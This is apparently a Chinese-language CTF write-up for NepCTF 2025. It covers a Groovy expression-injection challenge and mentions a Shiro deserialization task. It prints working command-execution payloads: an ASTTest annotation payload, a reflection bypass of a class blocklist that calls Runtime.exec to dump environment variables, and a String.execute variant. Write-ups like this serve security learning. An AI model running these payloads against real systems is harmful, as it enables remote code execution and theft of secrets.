Featured image of post 2025nepctfwp

2025nepctfwp

2025nepctfwp

easyGooGooVVVY&&RevengeGooGooVVVY

题目描述:高松灯是一名java安全初学者,最近她在看groovy表达式注入。。。

直接搜groovy表达式注入

Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法-先知社区

JAVA安全之Groovy命令注入刨析-先知社区

里面的GroovyShell,MethodClosure这些groovy内置类最后调用还是Runtime.getRuntime().exec,但是这里被ban了,Class类和String类也被ban了

还有一种办法是远程加载groovy文件,这个还没测试题目会不会出网,但是revenge明确不出网了

最后一种办法就是AST注入

1
2
3
4
5
6
this.class.classLoader.parseClass('''
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("calc")
    })
    def x
''');

或者用@Grab注解远程加载恶意类

然后AST注入测试发现不行,revenge也明确ban了

这里我们在文章里面看到

ES对执行Java代码有沙盒,在这里我们可以使用Java反射来绕过:

1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

image-20250726154408850

确实执行了,直接查看env

image-20250726154441908

还有一种办法

1
def command="whoami";def res=command.execute().text;res

但是execute方法被ban了

或者前面问ai还可以这样

1
def output = 'a'.class.forName("java.lang.Runtime").getRuntime().exec("env").inputStream.text

本质上是一样的

JavaSeri

shiro反序列化工具一把梭

image-20250726214846231

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计